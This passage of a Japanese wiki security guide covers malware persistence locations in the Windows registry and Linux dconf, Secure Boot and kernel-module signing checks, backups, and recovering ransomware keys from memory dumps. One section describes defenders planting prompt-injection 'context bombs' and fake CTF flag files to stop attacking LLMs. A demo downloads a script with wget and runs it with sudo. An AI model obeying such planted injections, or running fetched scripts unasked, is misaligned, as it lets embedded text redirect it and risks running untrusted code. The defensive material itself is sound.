| [[:w:en:Security Account Manager|Security Account Manager]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;*\&lt;wbr&gt;V{{efn|name=&quot;sam&quot;|'HKEY_LOCAL_MACHINE\SAM\SAM\' 以下はレジストリエディタの右クリックの「アクセス許可」で Administrators にアクセス許可を与えないと読めない。なおファイルパスは「C:\Windows\System32\config\SAM」。}}{{efn|Vはバイナリであり、0xCC + (0x60 に指定されたオフセット) からユーザーログオンスクリプトパスを指定する&lt;ref name=&quot;sam-ghost&quot;&gt;Sebastián R. Castro et al. [https://dl.acm.org/doi/pdf/10.1145/3689934.3690839 Ghost in the SAM: Stealthy, Robust, and Privileged Persistence through Invisible Accounts]  ACM 2024年&lt;/ref&gt;。}}
|-
| [[:w:en:Local Security Authority Subsystem Service|Local Security Authority Subsystem Service]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;System\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Notification Packages&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Authentication Packages&lt;ref&gt;[https://attack.mitre.org/detectionstrategies/DET0207/ Detect LSA Authentication Package Persistence via Registry and LSASS DLL Load] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:en:Active Setup|Active Setup]]&lt;ref&gt;[https://www.advancedinstaller.com/application-packaging-training/msi/ebook/active-setup.html Active-Setup Mechanism] Advanced Installer&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/014/ Boot or Logon Autostart Execution: Active Setup] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:Windowsサービス|Windowsサービス]]&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree HKLM\SYSTEM\CurrentControlSet\Services レジストリ ツリー - Windows drivers - Microsoft Learn] Microsoft&lt;/ref&gt; || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;services\&lt;wbr&gt;*
|-
| [[:w:Winlogon|Winlogon]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Shell&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Userinit&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Notify&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/004/ Boot or Logon Autostart Execution: Winlogon Helper DLL] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:cmd.exe|cmd.exe]]&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmd cmd - Microsoft Learn] Microsoft&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\REG_EXPAND_SZ || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\&lt;wbr&gt;REG_SZ
|-
| [[Microsoft Edge]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Edge\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://learn.microsoft.com/ja-jp/deployedge/microsoft-edge-policies/extensioninstallforcelist Microsoft Edge ブラウザー ポリシードキュメント ExtensionInstallForcelist - Microsoft Learn] Microsoft&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;|自動的にサイレントインストールする}}
|-
| [[Google Chrome]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Google\&lt;wbr&gt;Chrome\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://chromeenterprise.google/intl/ja_jp/policies/extension-install-forcelist/ ExtensionInstallForcelist: 自動インストールするアプリと拡張機能のリストの設定 - Chrome Enterprise] Google&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;}}
|}

Linux の GNOME / MATE 環境には「[[:w:en:Dconf#dconf database|dconf データベース]]」が存在し、それは&lt;code&gt;dconf dump&lt;/code&gt;（'/'区切り）で表示できます。また dconf データベースにスキーマ（規定値と解説）を被せた gsettings も存在し、こちらは&lt;code&gt;gsettings list-recursively&lt;/code&gt;（dconfと異なり'.'区切り）で表示できます。
{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能なdconf設定
|-
! 規格/アプリケーション !! ユーザー
|-
| GNOME Settings Daemon || /org/gnome/settings-daemon/plugins/media-keys/custom-keybindings/custom*/command
|-
| Marco ([[w:MATE (デスクトップ環境)|MATE]]) || /org/mate/Marco/keybinding-commands/command-*{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/Marco/keybinding-commands/&lt;/code&gt;で、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.Marco.keybinding-commands&lt;/code&gt;で表示可能。}}
|-
| MATE Screensaver || /org/mate/screensaver/embedded-keyboard-command&lt;br&gt;/org/mate/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.screensaver&lt;/code&gt; で表示可能}}
|-
| mate-applets || /org/mate/panel/objects/object-*/prefs/command
|-
| mate-sensors-applet || /org/mate/panel/objects/object-*/prefs/*/high-alarm-command&lt;br&gt;/org/mate/panel/objects/object-*/prefs/*/low-alarm-command
|}
なお MATE Screensaver と同源の GNOME Screensaver にも /org/gnome/desktop/screensaver/embedded-keyboard-command と /org/gnome/desktop/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/gnome/desktop/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.gnome.desktop.screensaver&lt;/code&gt; で表示可能。}} が存在しますが、こちらは既に廃止されており指定しても無視されます&lt;ref&gt;[https://github.com/GNOME/gsettings-desktop-schemas/blob/main/schemas/org.gnome.desktop.screensaver.gschema.xml.in gsettings-desktop-schemas/schemas/org.gnome.desktop.screensaver.gschema.xml.in at main · GNOME/gsettings-desktop-schemas] GNOME Project&lt;/ref&gt;。

=== メディアに不審なファイルが追加されていないかを調べる ===
メディアの自動実行 ([[:w:en:AutoRun|AutoRun]]) ファイルにもマルウェアが紛れてないか注意しましょう。
{| class=&quot;wikitable&quot;
|+ メディアの自動実行ファイル
|-
! Windows !! Linux&lt;br&gt;（Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]）
|-
| *:\[[:w:autorun.inf|autorun.inf]] || /media/*/*/.autorun&lt;br&gt;/media/*/*/autorun&lt;br&gt;/media/*/*/autorun.sh&lt;br&gt;/run/media/*/*/.autorun&lt;br&gt;/run/media/*/*/autorun&lt;br&gt;/run/media/*/*/autorun.sh
|}

== 改変を防ぐ ==
改変を探すのは大変です。なので最初から改変をできないようにすれば管理はとても楽になります。

改ざんを防ぐには「[[:w:en:Chain of trust|信頼の連鎖]]」 (chain of trust) が重要となります。例えばカーネルだけで改ざんを防いでも、ハードウェアのファームウェアが不正であれば不正なカーネルを起動できてしまいます。

=== ファームウェア改ざんを防ぐ ===
ファームウェア改ざんによる「ファームウェアルートキット」を防ぐにはIntel Management Engine (Intel ME)で実装されているIntel BIOS Guardを使う必要があります。&lt;!--TODO: マザーボードによってはBIOSで有効にする必要があります。→最近のマザーボード事情--&gt;

なお2017年の第8世代Intel Coreプロセッサ (Coffee Lake) 以前はme_cleanerによってIntel Management Engineの無効化が可能&lt;ref&gt;[https://github.com/corna/me_cleaner/wiki/me_cleaner-status me_cleaner status] Nicola Corna 2018年&lt;/ref&gt;なため非推奨です。

また2023年のIntel ME 16.1.30.2307未満では悪意あるロゴ画像を設定することによってroot権限からUEFI設定の変更が可能です（[[:w:en:LogoFAIL|LogoFAIL]]の脆弱性）。そのため、古いIntel Management Engineが動作している場合はそのファームウェアをアップデートしましょう。Windowsでは MEUpdateTool.exe / FWUpdLcl.exe を使うことでこのアップデートが可能となっています。一方、Linuxでは一部機種が fwupdmgr 経由での Intel ME ファームウェアアップデートに対応しています。 

Intel MEのバージョンはLinuxでは以下のような感じに調べることができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ cat /sys/class/mei/mei0/fw_ver
0:16.1.32.2473
0:16.1.32.2473
0:16.1.27.2181
&lt;/syntaxhighlight&gt;

=== ブートローダー改ざんを防ぐ ===
ブートローダーは起動に使われるファームウェア (BIOS) から呼ばれ、カーネルを読み込んで起動するために使われるプログラムです。古い BIOS (レガシーBIOS) には起動するブートローダーを検証する仕組みが存在しませんでしたが、新しい UEFI (統一拡張ファームウェアインターフェース) には署名されたブートローダーのみを起動する UEFI Secure Boot が追加され、安全なブートローダーの起動を許可するための「承認済み署名データベース」 (Authorized Signature Database、UEFI db) と、脆弱なブートローダーの起動を防ぐための「禁止署名データベース」 (Forbidden Signature Database、UEFI dbx) が用意されています。

UEFI Secure Boot が有効かどうかは以下で確認できます:
* Windows PowerShell: &lt;code&gt;Confirm-SecureBootUEFI&lt;/code&gt;
* Linux: &lt;code&gt;mokutil --sb-state&lt;/code&gt;

UEFI db と UEFI dbx の内容は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-SecureBootUEFI -Name db -Decoded&lt;/code&gt; / &lt;code&gt;Get-SecureBootUEFI -Name dbx -Decoded&lt;/code&gt;
* Linux:
** mokutil{{efn|Ubuntu Desktop に標準で含まれている。}}: &lt;code&gt;mokutil --db&lt;/code&gt; / &lt;code&gt;mokutil --dbx&lt;/code&gt;
** efitools: &lt;code&gt;efi-readvar -v db&lt;/code&gt; / &lt;code&gt;efi-readvar -v dbx&lt;/code&gt;

ブートローダーの署名情報は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-PfxCertificate&lt;/code&gt;{{efn|&lt;code&gt;Get-AuthenticodeSignature&lt;/code&gt;はカタログ署名が使われる場合があるため非推奨: https://github.com/PowerShell/PowerShell/issues/23820 。}}
* Linux: &lt;code&gt;sbverify --list&lt;/code&gt;

例えば Windows PowerShell では以下のような感じです:
&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
PS C:\WINDOWS\system32&gt; mountvol S: /S; if ($?) { Get-PfxCertificate 'S:\EFI\Microsoft\Boot\bootmgfw.efi'; mountvol S: /D }

Thumbprint                                Subject
----------                                -------
FACDE3D80E99AFCC15E08AC5A69BD22785287F79  CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
&lt;/syntaxhighlight&gt;

また Ubuntu や Debian では署名されたブートローダー (grub-efi-*-signedパッケージ) と非署名のブートローダー (grub-efi-*-unsignedパッケージ) の両方が用意されており、ブートローダーの正体がどれか、また署名されたブートローダーの署名内容を確認するのは以下のような感じとなります:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ dpkg -L grub-efi-amd64-signed | grep -i '\.efi' | xargs md5sum # インストールされている署名されたブートローダーのハッシュを表示（grub*は通常版、gcd*は光学ブートメディア向け、grubnet*はネットブート向け）
2bd267fb12bd3b0fe26a9dfb4290868d  /usr/lib/grub/x86_64-efi-signed/gcdx64.efi.signed
f689e93336a015fa6eb93e1913b13482  /usr/lib/grub/x86_64-efi-signed/grubnetx64.efi.signed
b63c7618fb96d52520b42b8cc7b124f0  /usr/lib/grub/x86_64-efi-signed/grubx64.efi.signed
$ sudo sh -c &quot;md5sum /boot/efi/EFI/BOOT/*&quot; # 現在のbootloaderがどれを使っているかを確認（署名されたgrubを使用）
b63c7618fb96d52520b42b8cc7b124f0  /boot/efi/EFI/BOOT/BOOTX64.EFI
$ sudo sbverify --list /boot/efi/EFI/BOOT/BOOTX64.EFI
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/efi/EFI/BOOT/BOOTX64.EFI
Signature verification OK
&lt;/syntaxhighlight&gt;

なお Linux では grub の代わりに使えるブートローダーとして systemd-boot もあります。systemd-boot の署名版は Debian が systemd-boot-efi-*-signed パッケージとして用意しているようです（Ubuntu未搭載）。
&lt;!--TODO: 
TPM (Trusted Platform Module) チップ
--&gt;

=== カーネル本体の改ざんを防ぐ ===
カーネルはオペレーティングシステム (OS) の下層で動き続けるプログラムです。カーネル本体の実行ファイルもブートローダーと同様に署名が行われており、UEFI Secure Boot が有効であればその検証をブートローダーが行います。Linux では GRUB の UEFI Secure Boot と shim_lock の連携がそれに相当します&lt;ref&gt;[https://www.gnu.org/software/grub/manual/grub/grub.html#UEFI-secure-boot-and-shim GNU GRUB Manual 2.14 - 19.4 UEFI secure boot and shim support] フリーソフトウェア財団&lt;/ref&gt;。

なお Ubuntu には署名されたカーネル (linux-image-*パッケージ) と非署名のカーネル (linux-image-unsigned-*パッケージ) の両方が用意されており、署名されているカーネルは以下のような感じでその署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo sbverify --list /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を確認する
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を検証する
Signature verification OK
&lt;/syntaxhighlight&gt;

=== カーネルモジュールの改ざんを防ぐ ===
カーネルモジュールも署名されており、その検証をカーネルが行っています。Windowsカーネルでは ci.dll (Code Integrityモジュール)が、Linuxカーネルでは CONFIG_MODULE_SIG コンパイルオプションがその検証を行っています。

カーネルによるカーネルモジュールの検証が有効かどうかは以下で確認することができます:
* Linux: &lt;code&gt;grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r)&lt;/code&gt;

カーネルによるカーネルモジュールの検証で読み込みを弾くかどうかは以下で確認することができます:
* Windows: 強制モードか評価モード (監査モード) かを確認する PowerShell スクリプトが Microsoft のサイトに存在します: https://support.microsoft.com/en-us/windows/hardware/drivers/the-windows-driver-policy#is-my-device-in-evaluation-mode-or-enforcement-mode
* Linux: &lt;code&gt;cat /sys/module/module/parameters/sig_enforce&lt;/code&gt;

また Linux では検証で読み込みを弾かない場合でも検証外カーネルモジュールを読み込んだ場合はdmesgに警告が出て '''Tainted kernel''' 扱いとなります&lt;ref&gt;[https://docs.kernel.org/admin-guide/tainted-kernels.html Tainted kernels] Linux Foundation&lt;/ref&gt;。以下はその例です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_MODULE_SIG=y
$ cat /sys/module/module/parameters/sig_enforce # Y=Yes, N=No
N
$ sudo dmesg | grep 'module verification'
[    8.928361] nvidia: module verification failed: signature and/or required key missing - tainting kernel
$ wget http://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/plain/tools/debugging/kernel-chktaint
[...]
$ sudo sh ./kernel-chktaint
Kernel is &quot;tainted&quot; for the following reasons:
 * externally-built ('out-of-tree') module was loaded  (#12)
 * unsigned module was loaded (#13)
Raw taint value as int/string: 12288/'G           OE      '

Tainted modules:
 * nvidia (OE)
 * nvidia_drm (OE)
 * nvidia_modeset (OE)
 * nvidia_uvm (OE)

For a more detailed explanation of the various taint flags see
 Documentation/admin-guide/tainted-kernels.rst in the Linux kernel sources
 or https://kernel.org/doc/html/latest/admin-guide/tainted-kernels.html
&lt;/syntaxhighlight&gt;

また Linux では以下のような感じで個々のモジュールの署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ modinfo /lib/modules/$(uname -r)/kernel/arch/x86/kernel/msr.ko.zst
filename:       /lib/modules/7.0.0-38-generic/kernel/arch/x86/kernel/msr.ko.zst
license:        GPL
description:    x86 generic MSR driver
author:         H. Peter Anvin &lt;hpa@zytor.com&gt;
srcversion:     639B995855A3528050FD532
depends:
intree:         Y
name:           msr
retpoline:      Y
vermagic:       7.0.0-38-generic SMP preempt mod_unload modversions
sig_id:         PKCS#7
signer:         Build time autogenerated kernel key
sig_key:        3B:E7:D3:BF:D3:2E:D9:CA:9C:17:D2:E9:5F:1A:1C:AE:67:D5:82:2F
sig_hashalgo:   sha512
signature:      96:BC:2A:18:6E:4D:D8:E5:28:69:9D:E6:65:89:95:D4:BE:4C:5B:7C:
                4A:23:11:75:F6:FE:63:79:FC:29:9B:F7:EA:24:B6:F1:EF:F3:80:17:
                0B:C0:1E:46:61:29:BB:F9:E0:AC:81:69:85:73:7D:D4:77:82:A8:DB:
[...]
&lt;/syntaxhighlight&gt;

なおセキュアブートの環境において DKMS (Dynamic Kernel Module Support) などによるソースコードからの外部カーネルモジュールの導入には自己署名のためのマシン所有者キー (Machine-Owner Key; MOK) が使われていますが、標準ではその秘密鍵がrootからアクセスできる領域に置かれるため、root権限があればどんな悪意のあるカーネルモジュールにも署名を付けることが可能となってしまいます&lt;ref name=&quot;ubuntu-secure-boot&quot;/&gt;。そのため MOK はなるべく使わないようにしましょう。

Ubuntu ではいくつか外部カーネルモジュールに DKMS 版ではなく署名ビルド版を使用することができます。
{| class=&quot;wikitable&quot;
|+ Ubuntuにおける DKMS 版と署名ビルド版
|-
! 外部カーネルモジュール !! DKMS版のパッケージ名 !! 署名ビルド版のパッケージ名
|-
! NVIDIA Driver
| nvidia-dkms-* || linux-modules-nvidia-*-open-$(uname -r) 及び linux-signatures-nvidia-$(uname -r)
|-
! iwlwifi（Intel無線LANドライバ）
| backport-iwlwifi-dkms || linux-main-modules-iwlwifi-$(uname -r)
|-
! v4l2loopback
| v4l2loopback-dkms || linux-main-modules-v4l2loopback-$(uname -r)
|-
! Intel Vision Driver
| intel-vision-dkms || linux-main-modules-vision-$(uname -r)
|-
! Intel Integrated Image Processing Unit 6 driver
| intel-ipu6-dkms || linux-main-modules-ipu6-$(uname -r)
|-
! Intel Integrated Image Processing Unit 7 driver
| intel-ipu7-dkms || linux-main-modules-ipu7-$(uname -r)
|-
! USBIO drivers
| intel-usbio-dkms || linux-main-modules-usbio-$(uname -r)
|-
! ZFS (Zettabyte File System)
| zfs-dkms || linux-main-modules-zfs-$(uname -r)
|-
! NVIDIA DOCA-OFED
| doca-ofed-*-dkms || linux-main-modules-doca-ofed-$(uname -r)
|-
! Extensible Virtual Display Interface
| evdi-dkms || linux-main-modules-evdi-$(uname -r)
|}

しかしながら一部の外部カーネルモジュールは DKMS 経由でのみ提供されています。

=== システムファイル改ざんを防ぐ ===
システムファイル改ざんを防ぐ良い方法はシステム領域を読み取り専用にすることですが、仮にファイルシステムを読み取り専用のファイルシステム（SquashFSやEROFS）にしたとしても記録する場所がSSDであればブロック単位での上書きが可能となります。

1回だけ書き込めて上書きが不可能な媒体としてはCD-R、DVD-R、DVD+R、BD-Rなどの一部の光学メディアが存在しますが、これらをブートメディアとして使用するのは頻繁なアップデートが難しくなります。

そのほかの手法としては別のコンピュータからシステムファイルを取得する「ネットワークブート」を行うという手法もありますが、これはネットワーク経由でシステムファイルが盗まれる可能性と隣り合わせです。しかしながらプロトコルにUEFI HTTPSを、認証に相互認証のmTLSを用いて、その秘密鍵をTPMで管理してOSから読めなくすることでネットワークブートの安全性は何とか確保できるかもしれません（対応マザーボードは不明）。

一方、Android や ChromeOS ではブロックデバイス単位での改ざん検知 (dm-verify) によってシステムイメージの改ざんを防止しています&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;&lt;ref&gt;[https://research.google/pubs/verified-boot-on-chrome-os-and-how-to-do-it-yourself/ Verified Boot on Chrome OS and How to do it yourself] Google&lt;/ref&gt;。

=== カーネルメモリ改ざんを防ぐ ===
カーネルメモリのコード部分は MMU の書き込み禁止によって保護されています。iOS / macOS では Kernel Integrity Protection が&lt;ref&gt;[https://support.apple.com/ja-jp/guide/security/sec8b776536b/web オペレーティングシステムの整合性] Apple&lt;/ref&gt; 、Linux では Kernel Strict RWX がこれに相当します&lt;ref&gt;[https://docs.kernel.org/security/self-protection.html Kernel Self-Protection] Linux Foundation&lt;/ref&gt;。Windows でもカーネルモードに読み込み専用メモリセグメントが存在し、これに書き込もうとするとブルースクリーンで ATTEMPTED_WRITE_TO_READONLY_MEMORY (0xBE) が発行されます&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/debugger/bug-check-0xbe--attempted-write-to-readonly-memory バグ チェック 0xBE: ATTEMPTED_WRITE_TO_READONLY_MEMORY] Microsoft&lt;/ref&gt;。しかしながら Linux Kernel では kprobes、Static Keys、Static calls などで自己書き換えが多用されているため、一時的にコード部分を書き込み可能なページに割り当てて書き換える text_poke(...) という抜け道が存在します。

また定期的に改ざんが行われていないかをチェックする仕組みも存在します。Windows では[[:w:Kernel Patch Protection|Kernel Patch Protection]] (PatchGuard) / HyperGuard が、Linux では Linux Kernel Runtime Guard（外部パッチ）がこれに該当します。Windows の PatchGuard では改ざんが検出されたらブルースクリーンで CRITICAL_STRUCTURE_CORRUPTION が発行されます。

&lt;!--TODO: Windows の HVCI、macOS の Secure Page Table Monitor / Trusted Execution Monitor--&gt;

&lt;!--
=== アプリケーション改ざんを防ぐ ===
SELinux / AppArmor
--&gt;

== 攻撃用AIを対策する ==
攻撃用AIでは基本的に賢いかつ制限の緩い大規模言語モデル (LLM) が使われています。この代表的な例として GLM 5.3 や Qwen3.8-27B-ABLITERATED が存在します。

=== コンテキスト爆弾を設置する ===
攻撃用AIの対策では相手のLLMを止めることが重要となります。そこで使えるのが'''コンテキスト爆弾''' (context bombs) という手法です&lt;ref&gt;[https://arstechnica.com/security/2026/07/now-defenders-are-embracing-the-prompt-injection-too/ Now, defenders are embracing the prompt injection, too] Ars Technica 2026年7月14日&lt;/ref&gt;。

このコンテキスト爆弾は「相手のLLMに対し応答やツール呼び出しで禁止されていることを行わせようとする」というプロンプトインジェクションの一種であり、それによって相手のガードレールがLLMを止めることで相手からの攻撃を防ぎます。この手法は相手の読みそうなテキストにただプロンプトを書いておけば良いだけなので、お手軽に使えます。

コンテキスト爆弾のテキスト例は以下のリポジトリに存在します:
* https://github.com/tracebit-com/context-bombs

===  キャプチャー・ザ・フラッグに偽装する ===
実際の攻撃をコンピュータセキュリティの競技の一つ「[[:w:キャプチャー・ザ・フラッグ|キャプチャー・ザ・フラッグ]]」(CTF) に偽装して止めるという手法が存在します。

キャプチャー・ザ・フラッグで良く使われるファイルには以下が存在します:
* /.env&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;&gt;[https://www.appsecmaster.net/blog/ctf-writeup/ CTF Writeup Guide - Template and Real Web Exploit Examples] AppSecMaster&lt;/ref&gt;
* /flag&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /app/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /home/ctf/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /var/www/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /root/flag.txt
* /tmp/flag.txt
* /opt/flag.txt

=== ハニーポット ===
ハニーポットは攻撃者を引きつける役目を担います。ハニーポットの評価フレームワークには「UHBS」(Universal Honeypot Benchmarking Standard) が、その品質基準には「UHQS」(Universal Honeypot Quality Score) が存在しますが、2026年現在多くのハニーポットがFランク〜Dランクと残念な状況になっています&lt;ref&gt;[https://uhbs.github.io/uhbs-standard/mkdocs/conformance/ Overview - UHBS — Honeypot Evaluation Framework]&lt;/ref&gt;。

&lt;!--
== 自作コードの脆弱性を塞ぐ ==
書きかけ

--&gt;

== 被害を受けても復旧しやすくする ==
=== バックアップを取る ===
バックアップでは複数世代でオフラインバックアップを取ってください。バックアップの媒体には例えば以下が存在します:
* 外付けHDD
* RDXデータカートリッジ
* LTOテープ

=== 書き込み時コピーのファイルシステムを使う ===
コピー・オン・ライト（書き込み時コピー、CoW) のファイルシステム（btrfs、ZFS）では書き込みが既存のデータと別の場所に保存されるため、ファイルが破壊された場合でも復元できる確率が上がります。

しかしながらそれらのファイルシステムの構造を把握して破壊する高度なマルウェアには無効です。

=== クリーンな環境を用意しておく ===
復旧用として侵害されにくいクリーンな環境を用意しておきましょう。

== 被害からの復旧 ==
=== ランサムウェア被害からの復旧 ===
ランサムウェア（身代金要求型マルウェア）はファイルの暗号化を行います。

復旧のためには決して'''電源を落とさないでください'''。まずはLANケーブルを抜いた後、&lt;code&gt;iotop&lt;/code&gt;コマンドからI/Oの多いプロセスを特定したりなどして&lt;code&gt;kill -STOP&lt;/code&gt;で怪しいプロセスを全て停止させてください。これによって暗号化に使われた鍵がメモリ内に残ります。

次にそのメモリをダンプして外部に保存してください。
* /dev/mem ファイルからのメモリダンプ（モダンなLinuxでは非対応{{efn|/dev/mem からの Linux カーネル全域+ユーザーランドのメモリダンプには Linux カーネルが CONFIG_DEVMEM&amp;#61;y かつ CONFIG_STRICT_DEVMEM&amp;#61;n でコンパイルされている必要があります。}}）
** 直接ダンプする (&lt;code&gt;dd if=/dev/mem ...&lt;/code&gt;)
** AVML (Acquire Volatile Memory for Linux)[https://github.com/microsoft/avml]を使う
* カーネルモジュールによるメモリダンプ
** lime.ko (LiME, Linux Memory Extractor) [https://github.com/jtsylve/LiME]を使う（Debian/Ubuntu では lime-forensics-dkms パッケージとして用意されているが、セキュアブートの場合は前述の MOK による自己署名が必要なので非推奨{{efn|DKMS経由のカーネルモジュール導入は、UEFI セキュアブートなどで Linux カーネルのロックダウンが有効の場合 (&lt;code&gt;cat /sys/kernel/security/lockdown&lt;/code&gt; が integrity または confidentiality の場合)、Machine-Owner Key (MOK) の有効化が必要となります。MOK の鍵が無効になっている場合は再起動後に MokManager から MOK の鍵を有効にする必要があるため、MOK の鍵が無効かつ再起動が不可能な場合は lime-forensics-dkms を使うことはできません。また MOK を有効にした場合はカーネルロックダウンが無意味になる（root権限があれば悪意のあるカーネルモジュールに署名して読み込ませられるようになるため、root権限とカーネルモードのセキュリティ境界が無くなる&lt;ref name=&quot;ubuntu-secure-boot&quot;&gt;[https://documentation.ubuntu.com/security/security-features/platform-protections/secure-boot/ UEFI Secure Boot - Ubuntu security documentation] Canonical&lt;/ref&gt;）という大きな欠点も存在します。}}）
* eBPF プログラムによるメモリダンプ（モダンなシステムで推奨&lt;ref&gt;Andrea Oliveri et al. [https://www.s3.eurecom.fr/docs/dfrwseu26_oliveri.pdf LEMON: A universal eBPF-based volatile memory acquisition tool for modern android devices and hardened linux systems] Eurecom 2026年3月&lt;/ref&gt;）{{efn|ただしeBPFが有効のカーネルに限る。}}
** LEMON[https://github.com/eurecom-s3/lemon]
&lt;!--TODO: 未検証
** emd[https://github.com/ph0llux/emd] - 未検証
--&gt;

最後にクリーンな環境を使ってダンプしたメモリから暗号化に使われた鍵を見つけましょう。これには例えば以下のようなプログラムが存在します。
* C3RB3R向け: https://github.com/soimy/c3rb3r-rescue

なおこの方法はファイル暗号化の部分に共通鍵を使うランサムウェアにのみ効果があります。非対称鍵を直接ファイル暗号化に使うランサムウェアには無効なので期待しすぎないようにしましょう。

== 脚注 ==
&lt;references group=&quot;注釈&quot;/&gt;

== 参考文献 ==
&lt;references/&gt;

{{DEFAULTSORT:こんひゆうたせきゆりてい}}
[[Category:計算機科学]]
[[Category:情報技術]]</text>
      <sha1>q64y2t2x0og2yvt0ctqg0jg26bg4dol</sha1>
    </revision>
    <revision>
      <id>305235</id>
      <parentid>305234</parentid>
      <timestamp>2026-11-01T00:42:22Z</timestamp>
      <contributor>
        <username>~2026-54076-02</username>
        <id>92740</id>
      </contributor>
